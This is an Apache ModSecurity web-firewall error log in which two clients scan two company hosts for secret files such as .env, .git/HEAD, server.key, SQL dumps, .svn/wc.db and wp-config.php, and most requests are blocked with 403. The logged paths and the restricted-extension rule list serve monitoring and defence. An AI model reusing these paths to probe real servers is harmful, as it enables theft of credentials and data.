[Mon Oct 26 00:01:45.540578 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqQYue--VGB-9RmiCuAAAAAA"]
[Mon Oct 26 00:01:45.622823 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40AAAABU"]
[Mon Oct 26 00:01:45.623059 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40AAAABU"]
[Mon Oct 26 00:01:45.623420 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40AAAABU"]
[Mon Oct 26 00:01:45.635637 2026] [proxy_fcgi:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:01:45.676289 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqXCRtCy6MI-JocZCwgAAAAc"]
[Mon Oct 26 00:01:45.676523 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqXCRtCy6MI-JocZCwgAAAAc"]
[Mon Oct 26 00:01:45.676770 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at7QqXCRtCy6MI-JocZCwgAAAAc"]
[Mon Oct 26 00:01:45.777175 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqXCRtCy6MI-JocZCwwAAAAc"]
[Mon Oct 26 00:01:45.777322 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqXCRtCy6MI-JocZCwwAAAAc"]
[Mon Oct 26 00:01:45.777637 2026] [security2:error] [pid 2949173:tid 2949173] [client 91.148.244.131:50422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqXCRtCy6MI-JocZCwwAAAAc"]
[Mon Oct 26 00:01:45.825723 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40gAAABU"]
[Mon Oct 26 00:01:45.825978 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40gAAABU"]
[Mon Oct 26 00:01:45.826227 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7Qqa2Hvm-I1Dg70Ad40gAAABU"]
[Mon Oct 26 00:01:46.005516 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqnU04zBhf8656cj5bgAAAA0"]
[Mon Oct 26 00:01:46.005770 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqnU04zBhf8656cj5bgAAAA0"]
[Mon Oct 26 00:01:46.006052 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7QqnU04zBhf8656cj5bgAAAA0"]
[Mon Oct 26 00:01:46.018277 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqgYue--VGB-9RmiCvQAAAAA"]
[Mon Oct 26 00:01:46.018544 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqgYue--VGB-9RmiCvQAAAAA"]
[Mon Oct 26 00:01:46.018771 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqgYue--VGB-9RmiCvQAAAAA"]
[Mon Oct 26 00:01:46.028109 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41AAAABU"]
[Mon Oct 26 00:01:46.028236 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41AAAABU"]
[Mon Oct 26 00:01:46.028410 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41AAAABU"]
[Mon Oct 26 00:01:46.028658 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41AAAABU"]
[Mon Oct 26 00:01:46.114216 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7QqgYue--VGB-9RmiCvgAAAAA"]
[Mon Oct 26 00:01:46.114445 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7QqgYue--VGB-9RmiCvgAAAAA"]
[Mon Oct 26 00:01:46.114728 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at7QqgYue--VGB-9RmiCvgAAAAA"]
[Mon Oct 26 00:01:46.128722 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41QAAABU"]
[Mon Oct 26 00:01:46.128950 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41QAAABU"]
[Mon Oct 26 00:01:46.129200 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at7Qqq2Hvm-I1Dg70Ad41QAAABU"]
[Mon Oct 26 00:01:46.203328 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7QqnU04zBhf8656cj5cAAAAA0"]
[Mon Oct 26 00:01:46.203550 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7QqnU04zBhf8656cj5cAAAAA0"]
[Mon Oct 26 00:01:46.203785 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7QqnU04zBhf8656cj5cAAAAA0"]
[Mon Oct 26 00:01:46.204112 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7QqnU04zBhf8656cj5cAAAAA0"]
[Mon Oct 26 00:01:46.225058 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7QqgYue--VGB-9RmiCvwAAAAA"]
[Mon Oct 26 00:01:46.225305 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at7QqgYue--VGB-9RmiCvwAAAAA"]
